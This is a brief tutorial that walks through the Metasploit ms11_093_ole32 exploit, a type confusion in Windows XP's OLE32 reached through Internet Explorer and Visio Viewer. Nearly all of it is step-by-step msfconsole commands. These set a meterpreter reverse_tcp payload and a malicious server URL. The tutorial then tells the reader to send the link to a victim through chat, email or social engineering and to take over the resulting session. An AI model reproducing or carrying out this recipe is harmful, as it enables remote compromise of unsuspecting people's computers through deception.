This module exploits type confusion vulnerability in the OLE32 component of Windows XP SP3. The vulnerability exists in the CProperty Storage::Read Multiple function. A Visio document with a specially crafted Summary Information Stream embedded allows to get remote code execution through Internet Explorer, on systems with Visio Viewer installed.
Internet Explorer 6 on XP SP2
Internet Explorer 7 on XP SP2
Attacker: Backtrack 5
Victim PC: Windows XP
Open backtrack terminal type msfconsole
Now type use exploit/windows/browser/ms11_093_ole32
Msf exploit (ms11_093_ole32)>set payload windows/meterpreter/reverse_tcp
Msf exploit (ms11_093_ole32)>set lhost 192.168.1.2 (IP of Local Host)
Msf exploit (ms11_093_ole32)>set srvhost 192.168.1.2 (This must be an address on the local machine)
Msf exploit (ms11_093_ole32)>set uripath pdflinks (The Url to use for this exploit)
Msf exploit (ms11_093_ole32)>exploit
Now an URL you should give to your victim //192.168.1.2:8080/pdflinks
Send the link of the server to the victim via chat or email or any social engineering technique.
Now you have access to the victims PC. Use “Sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“